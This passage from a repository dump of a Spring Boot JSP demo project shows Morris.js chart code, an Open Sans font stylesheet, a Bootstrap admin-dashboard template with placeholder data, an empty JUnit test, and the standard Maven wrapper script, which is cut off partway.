Donut.prototype.drawEmptyDonutLabel = function(xPos, yPos, color, fontSize, fontWeight) {\n      var text;\n      text = this.raphael.text(xPos, yPos, '').attr('font-size', fontSize).attr('fill', color);\n      if (fontWeight != null) {\n        text.attr('font-weight', fontWeight);\n      }\n      return text;\n    };\n\n    Donut.prototype.resizeHandler = function() {\n      this.timeoutId = null;\n      this.raphael.setSize(this.el.width(), this.el.height());\n      return this.redraw();\n    };\n\n    return Donut;\n\n  })(Morris.EventEmitter);\n\n  Morris.DonutSegment = (function(_super) {\n    __extends(DonutSegment, _super);\n\n    function DonutSegment(cx, cy, inner, outer, p0, p1, color, backgroundColor, index, raphael) {\n      this.cx = cx;\n      this.cy = cy;\n      this.inner = inner;\n      this.outer = outer;\n      this.color = color;\n      this.backgroundColor = backgroundColor;\n      this.index = index;\n      this.raphael = raphael;\n      this.deselect = __bind(this.deselect, this);\n      this.select = __bind(this.select, this);\n      this.sin_p0 = Math.sin(p0);\n      this.cos_p0 = Math.cos(p0);\n      this.sin_p1 = Math.sin(p1);\n      this.cos_p1 = Math.cos(p1);\n      this.is_long = (p1 - p0) > Math.PI ? 1 : 0;\n      this.path = this.calcSegment(this.inner + 3, this.inner + this.outer - 5);\n      this.selectedPath = this.calcSegment(this.inner + 3, this.inner + this.outer);\n      this.hilight = this.calcArc(this.inner);\n    }\n\n    DonutSegment.prototype.calcArcPoints = function(r) {\n      return [this.cx + r * this.sin_p0, this.cy + r * this.cos_p0, this.cx + r * this.sin_p1, this.cy + r * this.cos_p1];\n    };\n\n    DonutSegment.prototype.calcSegment = function(r1, r2) {\n      var ix0, ix1, iy0, iy1, ox0, ox1, oy0, oy1, _ref, _ref1;\n      _ref = this.calcArcPoints(r1), ix0 = _ref[0], iy0 = _ref[1], ix1 = _ref[2], iy1 = _ref[3];\n      _ref1 = this.calcArcPoints(r2), ox0 = _ref1[0], oy0 = _ref1[1], ox1 = _ref1[2], oy1 = _ref1[3];\n      return (\"M\" + ix0 + \",\" + iy0) + (\"A\" + r1 + \",\" + r1 + \",0,\" + this.is_long + \",0,\" + ix1 + \",\" + iy1) + (\"L\" + ox1 + \",\" + oy1) + (\"A\" + r2 + \",\" + r2 + \",0,\" + this.is_long + \",1,\" + ox0 + \",\" + oy0) + \"Z\";\n    };\n\n    DonutSegment.prototype.calcArc = function(r) {\n      var ix0, ix1, iy0, iy1, _ref;\n      _ref = this.calcArcPoints(r), ix0 = _ref[0], iy0 = _ref[1], ix1 = _ref[2], iy1 = _ref[3];\n      return (\"M\" + ix0 + \",\" + iy0) + (\"A\" + r + \",\" + r + \",0,\" + this.is_long + \",0,\" + ix1 + \",\" + iy1);\n    };\n\n    DonutSegment.prototype.render = function() {\n      var _this = this;\n      this.arc = this.drawDonutArc(this.hilight, this.color);\n      return this.seg = this.drawDonutSegment(this.path, this.color, this.backgroundColor, function() {\n        return _this.fire('hover', _this.index);\n      }, function() {\n        return _this.fire('click', _this.index);\n      });\n    };\n\n    DonutSegment.prototype.drawDonutArc = function(path, color) {\n      return this.raphael.path(path).attr({\n        stroke: color,\n        'stroke-width': 2,\n        opacity: 0\n      });\n    };\n\n    DonutSegment.prototype.drawDonutSegment = function(path, fillColor, strokeColor, hoverFunction, clickFunction) {\n      return this.raphael.path(path).attr({\n        fill: fillColor,\n        stroke: strokeColor,\n        'stroke-width': 3\n      }).hover(hoverFunction).click(clickFunction);\n    };\n\n    DonutSegment.prototype.select = function() {\n      if (!this.selected) {\n        this.seg.animate({\n          path: this.selectedPath\n        }, 150, '<>');\n        this.arc.animate({\n          opacity: 1\n        }, 150, '<>');\n        return this.selected = true;\n      }\n    };\n\n    DonutSegment.prototype.deselect = function() {\n      if (this.selected) {\n        this.seg.animate({\n          path: this.path\n        }, 150, '<>');\n        this.arc.animate({\n          opacity: 0\n        }, 150, '<>');\n        return this.selected = false;\n      }\n    };\n\n    return DonutSegment;\n\n  })(Morris.EventEmitter);\n\n}).call(this);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/css/fonts.googleapis.com/fonts.googleapis.com.css",
    "content": "/* cyrillic-ext */\n@font-face {\n  font-family: 'Open Sans';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Open Sans Regular'), local('OpenSans-Regular'), url(mem8YaGs126MiZpBA-UFWJ0bbck.woff2) format('woff2');\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\n}\n/* cyrillic */\n@font-face {\n  font-family: 'Open Sans';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Open Sans Regular'), local('OpenSans-Regular'), url(mem8YaGs126MiZpBA-UFUZ0bbck.woff2) format('woff2');\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\n}\n/* greek-ext */\n@font-face {\n  font-family: 'Open Sans';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Open Sans Regular'), local('OpenSans-Regular'), url(mem8YaGs126MiZpBA-UFWZ0bbck.woff2) format('woff2');\n  unicode-range: U+1F00-1FFF;\n}\n/* greek */\n@font-face {\n  font-family: 'Open Sans';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Open Sans Regular'), local('OpenSans-Regular'), url(mem8YaGs126MiZpBA-UFVp0bbck.woff2) format('woff2');\n  unicode-range: U+0370-03FF;\n}\n/* vietnamese */\n@font-face {\n  font-family: 'Open Sans';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Open Sans Regular'), local('OpenSans-Regular'), url(mem8YaGs126MiZpBA-UFWp0bbck.woff2) format('woff2');\n  unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB;\n}\n/* latin-ext */\n@font-face {\n  font-family: 'Open Sans';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Open Sans Regular'), local('OpenSans-Regular'), url(mem8YaGs126MiZpBA-UFW50bbck.woff2) format('woff2');\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\n}\n/* latin */\n@font-face {\n  font-family: 'Open Sans';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Open Sans Regular'), local('OpenSans-Regular'), url(mem8YaGs126MiZpBA-UFVZ0b.woff2) format('woff2');\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/webapp/WEB-INF/views/index.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=utf-8\"\n    pageEncoding=\"utf-8\"%>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n\t<title>锅炉能效监测-HEGE</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <title>Dream</title>\n    <!-- Bootstrap Styles-->\n    <link href=\"<%=request.getContextPath()%>/assets/css/bootstrap.css\" rel=\"stylesheet\" />\n    <!-- FontAwesome Styles-->\n    <link href=\"<%=request.getContextPath()%>/assets/css/font-awesome.css\" rel=\"stylesheet\" />\n    <!-- Morris Chart Styles-->\n    <link href=\"<%=request.getContextPath()%>/assets/js/morris/morris-0.4.3.min.css\" rel=\"stylesheet\" />\n    <!-- Custom Styles-->\n    <link href=\"<%=request.getContextPath()%>/assets/css/custom-styles.css\" rel=\"stylesheet\" />\n    <!-- Google Fonts-->\n    <link href='<%=request.getContextPath()%>/css/fonts.googleapis.com/fonts.googleapis.com.css' rel='stylesheet' type='text/css' />\n</head>\n<body>\n<div id=\"wrapper\">\n        <nav class=\"navbar navbar-default top-navbar\" role=\"navigation\">\n            <div class=\"navbar-header\">\n                <button type=\"button\" class=\"navbar-toggle\" data-toggle=\"collapse\" data-target=\".sidebar-collapse\">\n                    <span class=\"sr-only\">Toggle navigation</span>\n                    <span class=\"icon-bar\"></span>\n                    <span class=\"icon-bar\"></span>\n                    <span class=\"icon-bar\"></span>\n                </button>\n                <a class=\"navbar-brand\" href=\"index.html\">Dream${user }</a>\n            </div>\n\n            <ul class=\"nav navbar-top-links navbar-right\">\n                <li class=\"dropdown\">\n                    <a class=\"dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\" aria-expanded=\"false\">\n                        <i class=\"fa fa-envelope fa-fw\"></i> <i class=\"fa fa-caret-down\"></i>\n                    </a>\n                    <ul class=\"dropdown-menu dropdown-messages\">\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <strong>java</strong>\n                                    <span class=\"pull-right text-muted\">\n                                        <em>20${age}年/07月</em>\n                                    </span>\n                                </div>\n                                <div>Lorem Ipsum has been the industry's standard dummy text ever since the 1500s...</div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <strong>John Smith</strong>\n                                    <span class=\"pull-right text-muted\">\n                                        <em>Yesterday</em>\n                                    </span>\n                                </div>\n                                <div>Lorem Ipsum has been the industry's standard dummy text ever since an kwilnw...</div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <strong>John Smith</strong>\n                                    <span class=\"pull-right text-muted\">\n                                        <em>Yesterday</em>\n                                    </span>\n                                </div>\n                                <div>Lorem Ipsum has been the industry's standard dummy text ever since the...</div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a class=\"text-center\" href=\"#\">\n                                <strong>Read All Messages</strong>\n                                <i class=\"fa fa-angle-right\"></i>\n                            </a>\n                        </li>\n                    </ul>\n                    <!-- /.dropdown-messages -->\n                </li>\n                <!-- /.dropdown -->\n                <li class=\"dropdown\">\n                    <a class=\"dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\" aria-expanded=\"false\">\n                        <i class=\"fa fa-tasks fa-fw\"></i> <i class=\"fa fa-caret-down\"></i>\n                    </a>\n                    <ul class=\"dropdown-menu dropdown-tasks\">\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <p>\n                                        <strong>Task 1</strong>\n                                        <span class=\"pull-right text-muted\">60% Complete</span>\n                                    </p>\n                                    <div class=\"progress progress-striped active\">\n                                        <div class=\"progress-bar progress-bar-success\" role=\"progressbar\" aria-valuenow=\"60\" aria-valuemin=\"0\" aria-valuemax=\"100\" style=\"width: 60%\">\n                                            <span class=\"sr-only\">60% Complete (success)</span>\n                                        </div>\n                                    </div>\n                                </div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <p>\n                                        <strong>Task 2</strong>\n                                        <span class=\"pull-right text-muted\">28% Complete</span>\n                                    </p>\n                                    <div class=\"progress progress-striped active\">\n                                        <div class=\"progress-bar progress-bar-info\" role=\"progressbar\" aria-valuenow=\"28\" aria-valuemin=\"0\" aria-valuemax=\"100\" style=\"width: 28%\">\n                                            <span class=\"sr-only\">28% Complete</span>\n                                        </div>\n                                    </div>\n                                </div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <p>\n                                        <strong>Task 3</strong>\n                                        <span class=\"pull-right text-muted\">60% Complete</span>\n                                    </p>\n                                    <div class=\"progress progress-striped active\">\n                                        <div class=\"progress-bar progress-bar-warning\" role=\"progressbar\" aria-valuenow=\"60\" aria-valuemin=\"0\" aria-valuemax=\"100\" style=\"width: 60%\">\n                                            <span class=\"sr-only\">60% Complete (warning)</span>\n                                        </div>\n                                    </div>\n                                </div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <p>\n                                        <strong>Task 4</strong>\n                                        <span class=\"pull-right text-muted\">85% Complete</span>\n                                    </p>\n                                    <div class=\"progress progress-striped active\">\n                                        <div class=\"progress-bar progress-bar-danger\" role=\"progressbar\" aria-valuenow=\"85\" aria-valuemin=\"0\" aria-valuemax=\"100\" style=\"width: 85%\">\n                                            <span class=\"sr-only\">85% Complete (danger)</span>\n                                        </div>\n                                    </div>\n                                </div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a class=\"text-center\" href=\"#\">\n                                <strong>See All Tasks</strong>\n                                <i class=\"fa fa-angle-right\"></i>\n                            </a>\n                        </li>\n                    </ul>\n                    <!-- /.dropdown-tasks -->\n                </li>\n                <!-- /.dropdown -->\n                <li class=\"dropdown\">\n                    <a class=\"dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\" aria-expanded=\"false\">\n                        <i class=\"fa fa-bell fa-fw\"></i> <i class=\"fa fa-caret-down\"></i>\n                    </a>\n                    <ul class=\"dropdown-menu dropdown-alerts\">\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <i class=\"fa fa-comment fa-fw\"></i> New Comment\n                                    <span class=\"pull-right text-muted small\">4 min</span>\n                                </div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <i class=\"fa fa-twitter fa-fw\"></i> 3 New Followers\n                                    <span class=\"pull-right text-muted small\">12 min</span>\n                                </div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <i class=\"fa fa-envelope fa-fw\"></i> Message Sent\n                                    <span class=\"pull-right text-muted small\">4 min</span>\n                                </div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <i class=\"fa fa-tasks fa-fw\"></i> New Task\n                                    <span class=\"pull-right text-muted small\">4 min</span>\n                                </div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a href=\"#\">\n                                <div>\n                                    <i class=\"fa fa-upload fa-fw\"></i> Server Rebooted\n                                    <span class=\"pull-right text-muted small\">4 min</span>\n                                </div>\n                            </a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li>\n                            <a class=\"text-center\" href=\"#\">\n                                <strong>See All Alerts</strong>\n                                <i class=\"fa fa-angle-right\"></i>\n                            </a>\n                        </li>\n                    </ul>\n                    <!-- /.dropdown-alerts -->\n                </li>\n                <!-- /.dropdown -->\n                <li class=\"dropdown\">\n                    <a class=\"dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\" aria-expanded=\"false\">\n                        <i class=\"fa fa-user fa-fw\"></i> <i class=\"fa fa-caret-down\"></i>\n                    </a>\n                    <ul class=\"dropdown-menu dropdown-user\">\n                        <li><a href=\"#\"><i class=\"fa fa-user fa-fw\"></i> User Profile</a>\n                        </li>\n                        <li><a href=\"#\"><i class=\"fa fa-gear fa-fw\"></i> Settings</a>\n                        </li>\n                        <li class=\"divider\"></li>\n                        <li><a href=\"#\"><i class=\"fa fa-sign-out fa-fw\"></i> Logout</a>\n                        </li>\n                    </ul>\n                    <!-- /.dropdown-user -->\n                </li>\n                <!-- /.dropdown -->\n            </ul>\n        </nav>\n        <!--/. NAV TOP  -->\n        <nav class=\"navbar-default navbar-side\" role=\"navigation\">\n            <div class=\"sidebar-collapse\">\n                <ul class=\"nav\" id=\"main-menu\">\n\n                    <li>\n                        <a class=\"active-menu\" href=\"index.html\"><i class=\"fa fa-dashboard\"></i> Dashboard</a>\n                    </li>\n                    <li>\n                        <a href=\"ui-elements.html\"><i class=\"fa fa-desktop\"></i> UI Elements</a>\n                    </li>\n\t\t\t\t\t<li>\n                        <a href=\"chart.html\"><i class=\"fa fa-bar-chart-o\"></i> Charts</a>\n                    </li>\n                    <li>\n                        <a href=\"tab-panel.html\"><i class=\"fa fa-qrcode\"></i> Tabs & Panels</a>\n                    </li>\n                    \n                    <li>\n                        <a href=\"table.html\"><i class=\"fa fa-table\"></i> Responsive Tables</a>\n                    </li>\n                    <li>\n                        <a href=\"form.html\"><i class=\"fa fa-edit\"></i> Forms </a>\n                    </li>\n\n\n                    <li>\n                        <a href=\"#\"><i class=\"fa fa-sitemap\"></i> Multi-Level Dropdown<span class=\"fa arrow\"></span></a>\n                        <ul class=\"nav nav-second-level\">\n                            <li>\n                                <a href=\"#\">Second Level Link</a>\n                            </li>\n                            <li>\n                                <a href=\"#\">Second Level Link</a>\n                            </li>\n                            <li>\n                                <a href=\"#\">Second Level Link<span class=\"fa arrow\"></span></a>\n                                <ul class=\"nav nav-third-level\">\n                                    <li>\n                                        <a href=\"#\">Third Level Link</a>\n                                    </li>\n                                    <li>\n                                        <a href=\"#\">Third Level Link</a>\n                                    </li>\n                                    <li>\n                                        <a href=\"#\">Third Level Link</a>\n                                    </li>\n\n                                </ul>\n\n                            </li>\n                        </ul>\n                    </li>\n                    <li>\n                        <a href=\"empty.html\"><i class=\"fa fa-fw fa-file\"></i> Empty Page</a>\n                    </li>\n                </ul>\n\n            </div>\n\n        </nav>\n        <!-- /. NAV SIDE  -->\n        <div id=\"page-wrapper\">\n            <div id=\"page-inner\">\n\n\n                <div class=\"row\">\n                    <div class=\"col-md-12\">\n                        <h1 class=\"page-header\">\n                            Dashboard <small>Summary of your App</small>\n                        </h1>\n                    </div>\n                </div>\n                <!-- /. ROW  -->\n\n                <div class=\"row\">\n                    <div class=\"col-md-3 col-sm-12 col-xs-12\">\n                        <div class=\"panel panel-primary text-center no-boder bg-color-green\">\n                            <div class=\"panel-body\">\n                                <i class=\"fa fa-bar-chart-o fa-5x\"></i>\n                                <h3>8,457</h3>\n                            </div>\n                            <div class=\"panel-footer back-footer-green\">\n                                Daily Visits\n\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"col-md-3 col-sm-12 col-xs-12\">\n                        <div class=\"panel panel-primary text-center no-boder bg-color-blue\">\n                            <div class=\"panel-body\">\n                                <i class=\"fa fa-shopping-cart fa-5x\"></i>\n                                <h3>52,160 </h3>\n                            </div>\n                            <div class=\"panel-footer back-footer-blue\">\n                                Sales\n\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"col-md-3 col-sm-12 col-xs-12\">\n                        <div class=\"panel panel-primary text-center no-boder bg-color-red\">\n                            <div class=\"panel-body\">\n                                <i class=\"fa fa fa-comments fa-5x\"></i>\n                                <h3>15,823 </h3>\n                            </div>\n                            <div class=\"panel-footer back-footer-red\">\n                                Comments\n\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"col-md-3 col-sm-12 col-xs-12\">\n                        <div class=\"panel panel-primary text-center no-boder bg-color-brown\">\n                            <div class=\"panel-body\">\n                                <i class=\"fa fa-users fa-5x\"></i>\n                                <h3>36,752 </h3>\n                            </div>\n                            <div class=\"panel-footer back-footer-brown\">\n                                No. of Visits\n\n                            </div>\n                        </div>\n                    </div>\n                </div>\n\n\n                <div class=\"row\">\n\n\n                    <div class=\"col-md-9 col-sm-12 col-xs-12\">\n                        <div class=\"panel panel-default\">\n                            <div class=\"panel-heading\">\n                                Bar Chart Example\n                            </div>\n                            <div class=\"panel-body\">\n                                <div id=\"morris-bar-chart\"></div>\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"col-md-3 col-sm-12 col-xs-12\">\n                        <div class=\"panel panel-default\">\n                            <div class=\"panel-heading\">\n                                Donut Chart Example\n                            </div>\n                            <div class=\"panel-body\">\n                                <div id=\"morris-donut-chart\"></div>\n                            </div>\n                        </div>\n                    </div>\n\n                </div>\n                <!-- /. ROW  -->\n\n                <div class=\"row\">\n                    <div class=\"col-md-4 col-sm-12 col-xs-12\">\n                        <div class=\"panel panel-default\">\n                            <div class=\"panel-heading\">\n                                Tasks Panel\n                            </div>\n                            <div class=\"panel-body\">\n                                <div class=\"list-group\">\n\n                                    <a href=\"#\" class=\"list-group-item\">\n                                        <span class=\"badge\">7 minutes ago</span>\n                                        <i class=\"fa fa-fw fa-comment\"></i> Commented on a post\n                                    </a>\n                                    <a href=\"#\" class=\"list-group-item\">\n                                        <span class=\"badge\">16 minutes ago</span>\n                                        <i class=\"fa fa-fw fa-truck\"></i> Order 392 shipped\n                                    </a>\n                                    <a href=\"#\" class=\"list-group-item\">\n                                        <span class=\"badge\">36 minutes ago</span>\n                                        <i class=\"fa fa-fw fa-globe\"></i> Invoice 653 has paid\n                                    </a>\n                                    <a href=\"#\" class=\"list-group-item\">\n                                        <span class=\"badge\">1 hour ago</span>\n                                        <i class=\"fa fa-fw fa-user\"></i> A new user has been added\n                                    </a>\n                                    <a href=\"#\" class=\"list-group-item\">\n                                        <span class=\"badge\">1.23 hour ago</span>\n                                        <i class=\"fa fa-fw fa-user\"></i> A new user has added\n                                    </a>\n                                    <a href=\"#\" class=\"list-group-item\">\n                                        <span class=\"badge\">yesterday</span>\n                                        <i class=\"fa fa-fw fa-globe\"></i> Saved the world\n                                    </a>\n                                </div>\n                                <div class=\"text-right\">\n                                    <a href=\"#\">More Tasks <i class=\"fa fa-arrow-circle-right\"></i></a>\n                                </div>\n                            </div>\n                        </div>\n\n                    </div>\n                    <div class=\"col-md-8 col-sm-12 col-xs-12\">\n\n                        <div class=\"panel panel-default\">\n                            <div class=\"panel-heading\">\n                                Responsive Table Example\n                            </div> \n                            <div class=\"panel-body\">\n                                <div class=\"table-responsive\">\n                                    <table class=\"table table-striped table-bordered table-hover\">\n                                        <thead>\n                                            <tr>\n                                                <th>S No.</th>\n                                                <th>First Name</th>\n                                                <th>Last Name</th>\n                                                <th>User Name</th>\n                                                <th>Email ID.</th>\n                                            </tr>\n                                        </thead>\n                                        <tbody>\n                                            <tr>\n                                                <td>1</td>\n                                                <td>John</td>\n                                                <td>Doe</td>\n                                                <td>John15482</td>\n                                                <td>name@site.com</td>\n                                            </tr>\n                                            <tr>\n                                                <td>2</td>\n                                                <td>Kimsila</td>\n                                                <td>Marriye</td>\n                                                <td>Kim1425</td>\n                                                <td>name@site.com</td>\n                                            </tr>\n                                            <tr>\n                                                <td>3</td>\n                                                <td>Rossye</td>\n                                                <td>Nermal</td>\n                                                <td>Rossy1245</td>\n                                                <td>name@site.com</td>\n                                            </tr>\n                                            <tr>\n                                                <td>4</td>\n                                                <td>Richard</td>\n                                                <td>Orieal</td>\n                                                <td>Rich5685</td>\n                                                <td>name@site.com</td>\n                                            </tr>\n                                            <tr>\n                                                <td>5</td>\n                                                <td>Jacob</td>\n                                                <td>Hielsar</td>\n                                                <td>Jac4587</td>\n                                                <td>name@site.com</td>\n                                            </tr>\n                                            <tr>\n                                                <td>6</td>\n                                                <td>Wrapel</td>\n                                                <td>Dere</td>\n                                                <td>Wrap4585</td>\n                                                <td>name@site.com</td>\n                                            </tr>\n\n                                        </tbody>\n                                    </table>\n                                </div>\n                            </div>\n                        </div>\n\n                    </div>\n                </div>\n                <!-- /. ROW  -->\n\t\t\t\t<footer><p>footer</p></footer>\n            </div>\n            <!-- /. PAGE INNER  -->\n        </div>\n        <!-- /. PAGE WRAPPER  -->\n    </div>\n    <!-- /. WRAPPER  -->\n    <!-- JS Scripts-->\n    <!-- jQuery Js -->\n    <script src=\"<%=request.getContextPath()%>/assets/js/jquery-1.10.2.js\"></script>\n    <!-- Bootstrap Js -->\n    <script src=\"<%=request.getContextPath()%>/assets/js/bootstrap.min.js\"></script>\n    <!-- Metis Menu Js -->\n    <script src=\"<%=request.getContextPath()%>/assets/js/jquery.metisMenu.js\"></script>\n    <!-- Morris Chart Js -->\n    <script src=\"<%=request.getContextPath()%>/assets/js/morris/raphael-2.1.0.min.js\"></script>\n    <script src=\"<%=request.getContextPath()%>/assets/js/morris/morris.js\"></script>\n    <!-- Custom Js -->\n    <script src=\"<%=request.getContextPath()%>/assets/js/custom-scripts.js\"></script>\n\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/test/java/cn/hege/Tt.java",
    "content": "package cn.hege;\n\nimport org.junit.Test;\n\nimport lombok.extern.slf4j.Slf4j;\n\n@Slf4j\npublic class Tt {\n\t@Test\n\tpublic void aa() {\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/README.md",
    "content": "# springboo-junit\nspringboot和junit测试框架demo\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_junit/mvnw",
    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven2 Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Migwn, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\n  # TODO classpath?\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not 